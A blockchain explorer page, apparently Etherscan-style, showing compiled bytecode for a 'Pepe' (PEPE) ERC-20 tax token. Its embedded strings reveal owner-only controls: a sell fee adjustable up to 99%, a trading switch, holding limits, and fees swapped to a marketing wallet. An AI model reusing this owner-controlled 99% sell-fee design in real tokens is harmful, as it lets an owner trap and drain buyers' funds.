60a01b0319166001600160a01b0383169081179091556040517f5e6894395320346b3bc32e11af639cec1465f714c0956a0f2ab9c0ec0084364190600090a250565b600e5460009060ff161561122d576112268484846115c9565b9050610aa2565b6000546001600160a01b0385811691161461129257600c54600160a01b900460ff166112925760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016107f2565b61129c8483611698565b6001600160a01b038416600090815260036020526040902054828110156112d55760405162461bcd60e51b81526004016107f290611cf5565b6001600160a01b03851660009081526005602052604081205460ff168061131457506001600160a01b03851660009081526005602052604090205460ff165b61132857611323868587611705565b61132a565b835b905061133e6000546001600160a01b031690565b6001600160a01b0316866001600160a01b0316141580156113fb57506001600160a01b038516301480159061137e57506001600160a01b03851661dead14155b80156113bc57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b80156113d65750600a546001600160a01b03868116911614155b80156113fb57506001600160a01b03851660009081526006602052604090205460ff16155b1561149c576001600160a01b0385166000908152600360205260409020546002546114268383611d3b565b111561149a5760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e000060648201526084016107f2565b505b43600954141580156114bf5750600d543060009081526003602052604090205410155b80156114d45750600c54600160a81b900460ff165b80156114e35750600e5460ff16155b801561152057507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b0316145b156115325761152d611830565b436009555b6001600160a01b03808716600090815260036020526040808220878603905591871681529081208054839290611569908490611d3b565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115b591815260200190565b60405180910390a350600195945050505050565b6001600160a01b038316600090815260036020526040812054828110156116025760405162461bcd60e51b81526004016107f290611cf5565b6001600160a01b03808616600090815260036020526040808220868503905591861681529081208054859290611639908490611d3b565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161168591815260200190565b60405180910390a3506001949350505050565b600154811115806116c157506001600160a01b03821660009081526006602052604090205460ff165b6117015760405162461bcd60e51b8152602060048201526011602482015270151e08131a5b5a5d08115e18d959591959607a1b60448201526064016107f2565b5050565b600080806001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081169085160361175d5760646008548661174c9190611c90565b6117569190611d4e565b91506117ab565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b0316036117a65760646007548661174c9190611c90565b600091505b81156118265730600090815260036020526040812080548492906117d0908490611d3b565b909155505060405182815230906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a361181f8286611d70565b9050610a9e565b5092949350505050565b600e805460ff19166001179055600d54604080516002808252606082018352600092602083019080368337019050509050308160008151811061187557611875611d83565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000000000000000000000000000000000000000000000816001815181106118c9576118c9611d83565b6001600160a01b039283166020918202929092010152600b5460405163791ac94760e01b815291169063791ac9479061190f908590600090869030904290600401611d99565b600060405180830381600087803b15801561192957600080fd5b505af115801561193d573d6000803e3d6000fd5b5050600a54604051479350600092506001600160a01b039091169083908381818185875af1925050503d8060008114611992576040519150601f19603f3d011682016040523d82523d6000602084013e611997565b606091505b5050905080611a005760405162461bcd60e51b815260206004820152602f60248201527f4661696c656420746f2073656e6420657468657220746f204d61726b6574696e60448201526e33902332b2902932b1b2b4bb32b91760891b60648201526084016107f2565b5050600e805460ff191690555050565b80356001600160a01b0381168114611a2757600080fd5b919050565b600060208284031215611a3e57600080fd5b610aa282611a10565b602081526000825180602084015260005b81811015611a755760208186018101516040868401015201611a58565b506000604082850101526040601f19601f83011684010191505092915050565b60008060408385031215611aa857600080fd5b611ab183611a10565b946020939093013593505050565b600060208284031215611ad157600080fd5b5035919050565b600080600060608486031215611aed57600080fd5b611af684611a10565b9250611b0460208501611a10565b929592945050506040919091013590565b60008060408385031215611b2857600080fd5b611b3183611a10565b915060208301358015158114611b4657600080fd5b809150509250929050565b60008060408385031215611b6457600080fd5b611b6d83611a10565b9150611b7b60208401611a10565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b6001841115611bd557808504811115611bb957611bb9611b84565b6001841615611bc757908102905b60019390931c928002611b9e565b935093915050565b600082611bec57506001610798565b81611bf957506000610798565b8160018114611c0f5760028114611c1957611c35565b6001915050610798565b60ff841115611c2a57611c2a611b84565b50506001821b610798565b5060208310610133831016604e8410600b8410161715611c58575081810a610798565b611c656000198484611b9a565b8060001904821115611c7957611c79611b84565b029392505050565b6000610aa260ff841683611bdd565b808202811582820484141761079857610798611b84565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060018201611cee57611cee611b84565b5060010190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b8082018082111561079857610798611b84565b600082611d6b57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561079857610798611b84565b634e487b7160e01b600052603260045260246000fd5b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b81811015611deb5783516001600160a01b0316835260209384019390920191600101611dc4565b50506001600160a01b03959095166060840152505060800152939250505056fea2646970667358221220aa7bc78d8a28c71eb73cfcd0da1e9ad339f6e0b503e36176af5c693c2c9b1c8064736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061024a5760003560e01c8063715018a611610139578063a8aa1b31116100b6578063dd62ed3e1161007a578063dd62ed3e146106b9578063de8ca33a146106ff578063f2fde38b14610715578063f6a78e1714610735578063f887ea401461074a578063fb1c37911461076a57600080fd5b8063a8aa1b3114610609578063a9059cbb1461063d578063b2bdfa7b1461065d578063bdbfefb91461067d578063ccf8c0361461069957600080fd5b80638da5cb5b116100fd5780638da5cb5b1461052e5780638ebfc7961461058157806395d89b41146105a1578063a0e47c7d146105ce578063a6d1ef19146105e357600080fd5b8063715018a6146105035780637d1db4a514610518578063893d20e81461052e5780638a8c523c1461054c5780638d7a8ba71461056157600080fd5b8063313ce567116101c757806350c358a41161018b57806350c358a4146104525780635ca30ba2146104815780636c0a24eb146104965780636ddd1713146104ac57806370a08231146104cd57600080fd5b8063313ce567146103d0578063467abe0a146103ec578063470624021461040c578063493977b0146104225780634c99007d1461043c57600080fd5b806318160ddd1161020e57806318160ddd146103265780631d933a4a1461033b5780632113522a1461035d57806323b872dd1461039a5780632b14ca56146103ba57600080fd5b80630445b667146102565780630621472c1461027f57806306fdde03146102af57806308fd3d05146102e5578063095ea7b31461030657600080fd5b3661025157005b600080fd5b34801561026257600080fd5b5061026c600d5481565b6040519081526020015b60405180910390f35b34801561028b57600080fd5b5061029f61029a366004611a2c565b61078a565b6040519015158152602001610276565b3480156102bb57600080fd5b506040805180820190915260048152635065706560e01b60208201525b6040516102769190611a47565b3480156102f157600080fd5b50600c5461029f90600160a01b900460ff1681565b34801561031257600080fd5b5061029f610321366004611a95565b61079e565b34801561033257600080fd5b5061026c61085f565b34801561034757600080fd5b5061035b610356366004611abf565b610880565b005b34801561036957600080fd5b506011546103829061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610276565b3480156103a657600080fd5b5061029f6103b5366004611ad8565b61092e565b3480156103c657600080fd5b5061026c60085481565b3480156103dc57600080fd5b5060405160098152602001610276565b3480156103f857600080fd5b5061035b610407366004611abf565b610aa9565b34801561041857600080fd5b5061026c60075481565b34801561042e57600080fd5b5060115461029f9060ff1681565b34801561044857600080fd5b5061026c600f5481565b34801561045e57600080fd5b5061029f61046d366004611a2c565b600a546001600160a01b0391821691161490565b34801561048d57600080fd5b5061035b610b57565b3480156104a257600080fd5b5061026c60025481565b3480156104b857600080fd5b50600c5461029f90600160a81b900460ff1681565b3480156104d957600080fd5b5061026c6104e8366004611a2c565b6001600160a01b031660009081526003602052604090205490565b34801561050f57600080fd5b5061035b610b6e565b34801561052457600080fd5b5061026c60015481565b34801561053a57600080fd5b506000546001600160a01b0316610382565b34801561055857600080fd5b5061035b610be2565b34801561056d57600080fd5b5061035b61057c366004611b15565b610cba565b34801561058d57600080fd5b5061035b61059c366004611b15565b610d8e565b3480156105ad57600080fd5b506040805180820190915260048152635045504560e01b60208201526102d8565b3480156105da57600080fd5b5061035b610e54565b3480156105ef57600080fd5b5060118054610100600160a81b0319163361010002179055005b34801561061557600080fd5b506103827f000000000000000000000000355708eb0a3cd5006cdf329cfb24511ea73f5a3981565b34801561064957600080fd5b5061029f610658366004611a95565b610e64565b34801561066957600080fd5b50600054610382906001600160a01b031681565b34801561068957600080fd5b5061035b6011805460ff19169055565b3480156106a557600080fd5b5061035b6106b4366004611b15565b610ec7565b3480156106c557600080fd5b5061026c6106d4366004611b51565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561070b57600080fd5b5061026c60105481565b34801561072157600080fd5b5061035b610730366004611a2c565b610faf565b34801561074157600080fd5b5061035b611099565b34801561075657600080fd5b50600b54610382906001600160a01b031681565b34801561077657600080fd5b5061035b610785366004611a2c565b61112d565b60006107988260001961079e565b92915050565b60006001600160a01b0383166107fb5760405162461bcd60e51b815260206004820152601b60248201527f5370656e64657220697320746865207a65726f2061646472657373000000000060448201526064015b60405180910390fd5b3360008181526004602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350600192915050565b600061086d6009600a611c81565b61087b90633b9aca00611c90565b905090565b6000546001600160a01b031633146108aa5760405162461bcd60e51b81526004016107f290611ca7565b60638111156108fb5760405162461bcd60e51b815260206004820152601d60248201527f466565732063616e206e6f74206265206d6f7265207468616e2039392500000060448201526064016107f2565b600881905560405181907f63d66ef9bcebaeaa6f4eb61e9327d3f4098c923aa98a5fc5326a53f2e145f4f290600090a250565b60006001600160a01b0384166109865760405162461bcd60e51b815260206004820152601a60248201527f53656e64657220697320746865207a65726f206164647265737300000000000060448201526064016107f2565b6001600160a01b0383166109dc5760405162461bcd60e51b815260206004820152601d60248201527f526563697069656e7420697320746865207a65726f206164647265737300000060448201526064016107f2565b6001600160a01b03841660009081526004602090815260408083203384529091529020546000198114610a935782811015610a6a5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016107f2565b6001600160a01b0385166000908152600460209081526040808320338452909152902083820390555b610a9e85858561120d565b9150505b9392505050565b6000546001600160a01b03163314610ad35760405162461bcd60e51b81526004016107f290611ca7565b6005811115610b245760405162461bcd60e51b815260206004820152601c60248201527f466565732063616e206e6f74206265206d6f7265207468616e2035250000000060448201526064016107f2565b600781905560405181907f11953a0453d6e2e337ab856b9de1f4818ffa2a51f3a9c12f924e2a043ae37f6d90600090a250565b600f8054906000610b6783611cdc565b9190505550565b6000546001600160a01b03163314610b985760405162461bcd60e51b81526004016107f290611ca7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c0c5760405162461bcd60e51b81526004016107f290611ca7565b600c54600160a01b900460ff1615610c665760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720616c726561647920456e61626c65642e000000000000000060448201526064016107f2565b600c805460ff60a01b1916600160a01b9081179182905543600981905560405190929190910460ff161515907f07c24843b569ea20bd3c266fb17047bdd751e44ea3afa2150f231b90bc669f4d90600090a3565b6000546001600160a01b03163314610ce45760405162461bcd60e51b81526004016107f290611ca7565b6001600160a01b038216610d3a5760405162461bcd60e51b815260206004820152601a60248201527f486f6c64657220697320746865207a65726f206164647265737300000000000060448201526064016107f2565b6001600160a01b038216600081815260066020526040808220805460ff191685151590811790915590519092917f5422e85d9bcca047954218b93afb25e9bc2afe9bdc19e7297968b2c919c8377591a35050565b6000546001600160a01b03163314610db85760405162461bcd60e51b81526004016107f290611ca7565b6001600160a01b038216610e005760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064016107f2565b6001600160a01b038216600081815260056020526040808220805460ff191685151590811790915590519092917f4aaa6e45cd52263caf7af003089cdf83d1751392e7edf53c1b5542d94f39734691a35050565b60108054906000610b6783611cdc565b60006001600160a01b038316610ebc5760405162461bcd60e51b815260206004820152601d60248201527f526563697069656e7420697320746865207a65726f206164647265737300000060448201526064016107f2565b610aa233848461120d565b6000546001600160a01b03163314610ef15760405162461bcd60e51b81526004016107f290611ca7565b6001600160a01b038216610f475760405162461bcd60e51b815260206004820152601a60248201527f486f6c64657220697320746865207a65726f206164647265737300000000000060448201526064016107f2565b6001600160a01b0382166000818152600560209081526040808320805486151560ff199182168117909255600690935281842080549093168117909255519092917f4aaa6e45cd52263caf7af003089cdf83d1751392e7edf53c1b5542d94f39734691a35050565b6000546001600160a01b03163314610fd95760405162461bcd60e51b81526004016107f290611ca7565b6001600160a01b03811661103e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146110c35760405162461bcd60e51b81526004016107f290611ca7565b6110cf6009600a611c81565b6110dd90633b9aca00611c90565b6002556110ec6009600a611c81565b6110fa90633b9aca00611c90565b60018190556002546040517fe5ca8724fdb01105b3129a1959a63ecdb2638b93266579bbcca33b66c737faa990600090a3565b6000546001600160a01b031633146111575760405162461bcd60e51b81526004016107f290611ca7565b6001600160a01b0381166111c35760405162461bcd60e51b815260206004820152602d60248201527f4d61726b6574696e67206665652072656365697665722063616e6e6f7420626560448201526c207a65726f206164647265737360981b60648201526084016107f2565b600a80546001600160a01b0319166001600160a01b0383169081179091556040517f5e6894395320346b3bc32e11af639cec1465f714c0956a0f2ab9c0ec0084364190600090a250565b600e5460009060ff161561122d576112268484846115c9565b9050610aa2565b6000546001600160a01b0385811691161461129257600c54600160a01b900460ff166112925760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016107f2565b61129c8483611698565b6001600160a01b038416600090815260036020526040902054828110156112d55760405162461bcd60e51b81526004016107f290611cf5565b6001600160a01b03851660009081526005602052604081205460ff168061131457506001600160a01b03851660009081526005602052604090205460ff165b61132857611323868587611705565b61132a565b835b905061133e6000546001600160a01b031690565b6001600160a01b0316866001600160a01b0316141580156113fb57506001600160a01b038516301480159061137e57506001600160a01b03851661dead14155b80156113bc57507f000000000000000000000000355708eb0a3cd5006cdf329cfb24511ea73f5a396001600160a01b0316856001600160a01b031614155b80156113d65750600a546001600160a01b03868116911614155b80156113fb57506001600160a01b03851660009081526006602052604090205460ff16155b1561149c576001600160a01b0385166000908152600360205260409020546002546114268383611d3b565b111561149a5760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e000060648201526084016107f2565b505b43600954141580156114bf5750600d543060009081526003602052604090205410155b80156114d45750600c54600160a81b900460ff165b80156114e35750600e5460ff16155b801561152057507f000000000000000000000000355708eb0a3cd5006cdf329cfb24511ea73f5a396001600160a01b0316856001600160a01b0316145b156115325761152d611830565b436009555b6001600160a01b03808716600090815260036020526040808220878603905591871681529081208054839290611569908490611d3b565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115b591815260200190565b60405180910390a350600195945050505050565b6001600160a01b038316600090815260036020526040812054828110156116025760405162461bcd60e51b81526004016107f290611cf5565b6001600160a01b03808616600090815260036020526040808220868503905591861681529081208054859290611639908490611d3b565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161168591815260200190565b60405180910390a3506001949350505050565b600154811115806116c157506001600160a01b03821660009081526006602052604090205460ff165b6117015760405162461bcd60e51b8152602060048201526011602482015270151e08131a5b5a5d08115e18d959591959607a1b60448201526064016107f2565b5050565b600080806001600160a01b037f000000000000000000000000355708eb0a3cd5006cdf329cfb24511ea73f5a3981169085160361175d5760646008548661174c9190611c90565b6117569190611d4e565b91506117ab565b7f000000000000000000000000355708eb0a3cd5006cdf329cfb24511ea73f5a396001600160a01b0316866001600160a01b0316036117a65760646007548661174c9190611c90565b600091505b81156118265730600090815260036020526040812080548492906117d0908490611d3b565b909155505060405182815230906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a361181f8286611d70565b9050610a9e565b5092949350505050565b600e805460ff19166001179055600d54604080516002808252606082018352600092602083019080368337019050509050308160008151811061187557611875611d83565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106118c9576118c9611d83565b6001600160a01b039283166020918202929092010152600b5460405163791ac94760e01b815291169063791ac9479061190f908590600090869030904290600401611d99565b600060405180830381600087803b15801561192957600080fd5b505af115801561193d573d6000803e3d6000fd5b5050600a54604051479350600092506001600160a01b039091169083908381818185875af1925050503d8060008114611992576040519150601f19603f3d011682016040523d82523d6000602084013e611997565b606091505b5050905080611a005760405162461bcd60e51b815260206004820152602f60248201527f4661696c656420746f2073656e6420657468657220746f204d61726b6574696e60448201526e33902332b2902932b1b2b4bb32b91760891b60648201526084016107f2565b5050600e805460ff191690555050565b80356001600160a01b0381168114611a2757600080fd5b919050565b600060208284031215611a3e57600080fd5b610aa282611a10565b602081526000825180602084015260005b81811015611a755760208186018101516040868401015201611a58565b506000604082850101526040601f19601f83011684010191505092915050565b60008060408385031215611aa857600080fd5b611ab183611a10565b946020939093013593505050565b600060208284031215611ad157600080fd5b5035919050565b600080600060608486031215611aed57600080fd5b611af684611a10565b9250611b0460208501611a10565b929592945050506040919091013590565b60008060408385031215611b2857600080fd5b611b3183611a10565b915060208301358015158114611b4657600080fd5b809150509250929050565b60008060408385031215611b6457600080fd5b611b6d83611a10565b9150611b7b60208401611a10565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b6001841115611bd557808504811115611bb957611bb9611b84565b6001841615611bc757908102905b60019390931c928002611b9e565b935093915050565b600082611bec57506001610798565b81611bf957506000610798565b8160018114611c0f5760028114611c1957611c35565b6001915050610798565b60ff841115611c2a57611c2a611b84565b50506001821b610798565b5060208310610133831016604e8410600b8410161715611c58575081810a610798565b611c656000198484611b9a565b8060001904821115611c7957611c79611b84565b029392505050565b6000610aa260ff841683611bdd565b808202811582820484141761079857610798611b84565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060018201611cee57611cee611b84565b5060010190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b8082018082111561079857610798611b84565b600082611d6b57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561079857610798611b84565b634e487b7160e01b600052603260045260246000fd5b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b81811015611deb5783516001600160a01b0316835260209384019390920191600101611dc4565b50506001600160a01b03959095166060840152505060800152939250505056fea2646970667358221220aa7bc78d8a28c71eb73cfcd0da1e9ad339f6e0b503e36176af5c693c2c9b1c8064736f6c634300081a0033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.